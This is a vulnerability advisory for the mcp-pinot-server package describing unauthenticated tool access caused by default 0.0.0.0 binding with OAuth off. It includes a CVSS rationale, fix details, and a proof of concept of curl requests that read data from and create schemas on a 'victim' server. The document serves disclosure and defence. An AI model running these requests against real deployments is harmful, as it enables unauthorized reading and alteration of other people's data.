PyPI · mcp-pinot-server
mcp-pinot: Unauthenticated tool invocation via default oauth_enabled=False + host 0.0.0.0 bind
Fixed in v3.1.0, released 2026-05-25. The fix was merged in PR #95 at commit 1c7d3f9.
The fix changes the default HTTP bind host to 127.0.0.1, refuses non-loopback HTTP/HTTPS exposure unless OAuth is enabled, makes Helm exposure opt-in and OAuth-gated, and adds parser-backed single-statement read-only validation for read-query.
Reviewed on 2026-05-25. The advisory remains Critical with CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0.
Rationale:
| Metric | Value | Reason |
|---|---|---|
| AV | Network | The default HTTP server bound to 0.0.0.0:8080 and accepted remote HTTP requests. |
| AC | Low | Exploitation required only a direct MCP tool call. |
| PR | None | OAuth was disabled by default. |
| UI | None | No user interaction was required. |
| S | Changed | The vulnerable MCP server used its server-side credentials to act on the separate Pinot cluster security boundary. |
| C | High | Unauthenticated callers could read table data and cluster metadata through server-side Pinot credentials. |
| I | High | Unauthenticated callers could create or update schemas and table configs where the server-side account had those privileges. |
| A | High | Expensive queries and configuration mutations could degrade or disrupt Pinot availability. |
mcp-pinot v3.0.1 (and earlier) defaults to running an HTTP MCP server bound to 0.0.0.0:8080 with no authentication enabled. All MCP tools, including SQL query execution, schema creation, and table-config mutation, are reachable by any network-adjacent caller. The server proxies these calls using server-side Pinot credentials, producing a confused-deputy condition that yields full read/write access to the configured Pinot cluster.
main, confirmed in tags v2.1.0 through v3.0.1.mcp_pinot/server.py, mcp_pinot/config.py.Three defaults compose to produce unauthenticated network exposure:
1. Auth is opt-in and defaults to off (mcp_pinot/config.py:64,328):
@dataclass
class ServerConfig:
...
oauth_enabled: bool = False
...
def load_server_config() -> ServerConfig:
return ServerConfig(
...
oauth_enabled=os.getenv("OAUTH_ENABLED", "false").lower() == "true",
...
)
2. Auth construction is gated by oauth_enabled (mcp_pinot/server.py:26-46):
_auth = None
if server_config.oauth_enabled:
oauth_config = load_oauth_config()
token_verifier = JWTVerifier(...)
_auth = OAuthProxy(...)
mcp = FastMCP("Pinot MCP Server", auth=_auth)
When oauth_enabled is false (default), _auth stays None and FastMCP registers all @mcp.tool endpoints with no authentication.
3. Default bind is all interfaces on a well-known port (mcp_pinot/config.py:60-61):
host: str = "0.0.0.0"
port: int = 8080
The HTTP transport in server.py:263-268 uses these values directly. Any operator following the README's HTTP transport instructions (uv pip install, .env from .env.example, run) ends up with a network-reachable MCP server with no auth.
The Pinot client uses server-side credentials loaded from environment variables (mcp_pinot/config.py:285-294, 300-315). When an unauthenticated MCP caller invokes read_query or any other tool, the request is executed with the server's PINOT_TOKEN or PINOT_USERNAME/PINOT_PASSWORD, which is typically a privileged service account. The MCP server effectively launders the caller's lack of identity into the server's privileges against the upstream cluster.
All 14 tools in mcp_pinot/server.py are exposed without auth in the default configuration:
| Tool | Impact when unauthenticated |
|---|---|
read_query |
Arbitrary SELECT against any table allowed by server-side filter (or all tables if no filter) |
list_tables |
Enumerate cluster schemas |
table_details, segment_list, segment_metadata_details, tableconfig_schema_details, index_column_details, get_schema, get_table_config |
Read cluster metadata |
create_schema, update_schema |
Create or mutate Pinot schemas |
create_table_config, update_table_config |
Create or mutate table configurations |
reload_table_filters |
Reload server filter file; response leaks previous_filters and new_filters lists |
test_connection |
Cluster diagnostics including host, port, scheme, database, and auth-mode |
Minimal reproduction against a default-configured mcp-pinot v3.0.1 instance running on http://victim:8080/mcp:
# 1. Enumerate tables (no Authorization header)
curl -X POST http://victim:8080/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"method":"tools/call",
"params":{"name":"list_tables","arguments":{}},
"id":1
}'
# 2. Read arbitrary table contents (server forwards using its own Pinot credentials)
curl -X POST http://victim:8080/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"method":"tools/call",
"params":{
"name":"read_query",
"arguments":{"query":"SELECT * FROM <table> LIMIT 100"}
},
"id":2
}'
# 3. Create a new schema (write privileges)
curl -X POST http://victim:8080/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"method":"tools/call",
"params":{
"name":"create_schema",
"arguments":{
"schemaJson":"{\"schemaName\":\"attacker_schema\",\"dimensionFieldSpecs\":[{\"name\":\"id\",\"dataType\":\"STRING\"}]}"
}
},
"id":3
}'
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
| Metric | Value | Reason |
|---|---|---|
| AV (Attack Vector) | Network | Server defaults to bind on 0.0.0.0:8080 |
| AC (Attack Complexity) | Low | No special conditions, single HTTP request |
| PR (Privileges Required) | None | No authentication required in default config |
| UI (User Interaction) | None | Direct unauthenticated call |
| S (Scope) | Changed | Vulnerable MCP component grants access to a separate Pinot cluster (different security authority) |
| C (Confidentiality) | High | Full read of any table data the server-side account can reach |
| I (Integrity) | High | Schema and table-config writes via create_schema, update_schema, create_table_config, update_table_config |
| A (Availability) | High | Heavy queries, malformed configs, or schema overrides can degrade or break the cluster |
If the operator restricts the bind address to 127.0.0.1 via MCP_HOST, AV drops to Local and the score reduces. But this is not the documented default.
Two independent hardenings, both recommended:
A. Refuse to start in an insecure default, in server.py main(), fail-closed when:
transport != "stdio"server_config.oauth_enabled is Falseserver_config.host is not a loopback address (e.g. not in {"127.0.0.1", "::1", "localhost"})Sample:
def _is_loopback(host: str) -> bool:
return host in {"127.0.0.1", "::1", "localhost"}
def main():
...
if server_config.transport != "stdio" and not server_config.oauth_enabled and not _is_loopback(server_config.host):
raise SystemExit(
"Refusing to start: HTTP transport bound to non-loopback host "
f"({server_config.host}) without OAuth. Set OAUTH_ENABLED=true or "
"set MCP_HOST=127.0.0.1 for local-only access."
)
...
B. Default oauth_enabled to True and require explicit opt-out for local development. This matches the pr
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.